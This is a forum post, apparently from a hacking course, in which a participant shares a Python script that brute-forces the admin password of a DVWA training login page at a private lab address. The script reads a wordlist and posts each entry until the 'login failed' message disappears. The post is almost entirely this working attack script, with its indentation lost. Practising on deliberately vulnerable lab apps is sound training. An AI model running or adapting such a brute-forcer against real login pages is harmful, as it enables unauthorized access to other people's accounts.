June 28, 2020 at 3:57 am
#40887
Hassan Aswad
Participant
`#!/usr/bin/env python
import requests
target_url = “http://10.0.2.5/dvwa/login.php”
data_dict = {“username”: “admin”, “password”: “”, “Login”: “submit”}
with open(“/root/Downloads/testlist.txt”, “r”) as wordlist_file:
for line in wordlist_file:
word = line.strip()
data_dict[“password”] = word
response = requests.post(target_url, data=data_dict)
if “login failed” not in response.content:
print(“[+] Got the password –> ” + word)
exit()
print(“[-] Try again!”)